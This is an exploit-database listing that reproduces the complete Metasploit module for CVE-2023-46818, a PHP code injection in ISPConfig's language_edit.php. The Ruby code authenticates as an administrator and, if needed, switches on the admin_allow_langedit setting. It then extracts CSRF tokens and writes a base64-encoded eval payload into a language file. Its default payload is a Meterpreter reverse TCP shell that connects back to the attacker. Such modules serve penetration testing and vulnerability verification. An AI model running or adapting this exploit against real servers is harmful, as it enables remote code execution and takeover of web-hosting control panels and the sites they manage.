Sploitus

Exploit for ISPConfig language_edit.php PHP Code Injection

metasploit Β· 2025-07-09

Exploit Code

ruby270 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-ISPCONFIG_LANG_EDIT_PHP_CODE_INJECTION-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ISPConfig language_edit.php PHP Code Injection',
        'Description' => %q{
          This module exploits a PHP code injection vulnerability in ISPConfig's
          language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
          setting is enabled, allowing authenticated administrators to inject arbitrary
          PHP code through the language editor interface.

          This module will automatically check if the required `admin_allow_langedit`
          permission is enabled, and attempt to enable it if it's disabled (requires
          admin credentials with system configuration access).

          The exploit works by injecting a PHP payload into a language file, which
          is then executed when the file is accessed. The payload is base64 encoded
          and written using PHP's file_put_contents function.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'syfi', # Discovery and PoC
          'Egidio Romano'
        ],
        'References' => [
          ['CVE', '2023-46818'],
          ['URL', 'https://github.com/SyFi/CVE-2023-46818'],
          ['URL', 'https://karmainsecurity.com/KIS-2023-13'],
          ['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
        ],
        'Platform' => 'php',
        'Targets' => [
          [
            'Automatic PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2023-10-24',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
      OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
      OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
    ])
  end

  def check
    print_status('Checking if the target is ISPConfig...')
    return CheckCode::Unknown('Failed to login') unless authenticate

    # Always try to log in and parse version, since credentials are required
    # cookie_jar.clear (handled in exploit)
    # Try to access the dashboard or settings page
    settings_res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
      'keep_cookies' => true
    })
    if settings_res
      doc = settings_res.get_html_document
      # Try to find version in a span, div, or similar element
      version_element = doc.at('//p[@class="frmTextHead"]')
      if version_element
        version_text = version_element.text
        version = version_text.split(':')[1].gsub(' ', '')
        version = Rex::Version.new(version)
        if version < Rex::Version.new('3.2.11p1')
          print_good("ISPConfig version detected: #{version_text}")
          return CheckCode::Appears("Version: #{version_text}")
        end
      end
    end
    CheckCode::Safe("Version #{version} is not vulnerable")
  end

  def authenticate
    print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login/'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        's_mod' => 'login'
      },
      'keep_cookies' => true
    })
    return false unless res

    if res&.code == 302
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
      })
    end
    body_downcase = res.body.downcase.freeze
    return false if body_downcase.include?('username or password wrong')

    if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
      print_good('Login successful!')
      return true
    end
    print_warning('Login status unclear, attempting to continue...')
    true
  end

  def check_langedit_permission
    print_status('Checking if admin_allow_langedit is enabled...')

    # Try to access the language editor to see if it's accessible
    edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => edit_url,
      'keep_cookies' => true
    })

    if res&.code == 200 && res.body.include?('language_edit')
      print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
      return true
    elsif res&.code == 403
      print_warning('Language editor access denied - admin_allow_langedit may be disabled')
      return false
    else
      print_warning('Could not determine language editor accessibility')
      return false
    end
  end

  def enable_langedit_permission
    print_status('Attempting to enable admin_allow_langedit...')

    # Try to access the system settings page
    settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => settings_url,
      'keep_cookies' => true
    })

    unless res && res.code == 200
      print_warning('Could not access system configuration page')
      return false
    end

    doc = res.get_html_document
    csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
    csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')

    unless csrf_id && csrf_key
      print_warning('Could not extract CSRF tokens from system config page')
      return false
    end

    # Try to enable the setting
    enable_data = {
      '_csrf_id' => csrf_id,
      '_csrf_key' => csrf_key,
      'admin_allow_langedit' => '1',
      'action' => 'save'
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => settings_url,
      'vars_post' => enable_data,
      'keep_cookies' => true
    })

    if res&.code == 200
      print_good('Successfully enabled admin_allow_langedit')
      return true
    else
      print_warning('Failed to enable admin_allow_langedit')
      return false
    end
  end

  def inject_payload
    print_status('Injecting PHP payload...')
    @payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
    b64_payload = Base64.strict_encode64(payload.encoded)
    injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
    lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
    edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
    initial_data = {
      'lang' => 'en',
      'module' => 'help',
      'lang_file' => lang_file
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => edit_url,
      'vars_post' => initial_data,
      'keep_cookies' => true
    })
    fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
    doc = res.get_html_document
    csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
    csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
    unless csrf_id && csrf_key
      fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
    end
    print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
    injection_data = {
      'lang' => 'en',
      'module' => 'help',
      'lang_file' => lang_file,
      '_csrf_id' => csrf_id,
      '_csrf_key' => csrf_key,
      'records[\]' => injection
    }
    send_request_cgi({
      'method' => 'POST',
      'uri' => edit_url,
      'vars_post' => injection_data,
      'keep_cookies' => true
    })
  end

  def exploit
    cookie_jar.clear
    fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate

    # Check if language editor permissions are enabled
    unless check_langedit_permission
      print_warning('admin_allow_langedit appears to be disabled')
      print_status('Attempting to enable admin_allow_langedit...')

      if enable_langedit_permission
        print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
        # Re-check permissions after enabling
        unless check_langedit_permission
          fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
        end
      else
        fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
      end
    end

    inject_payload
  end
end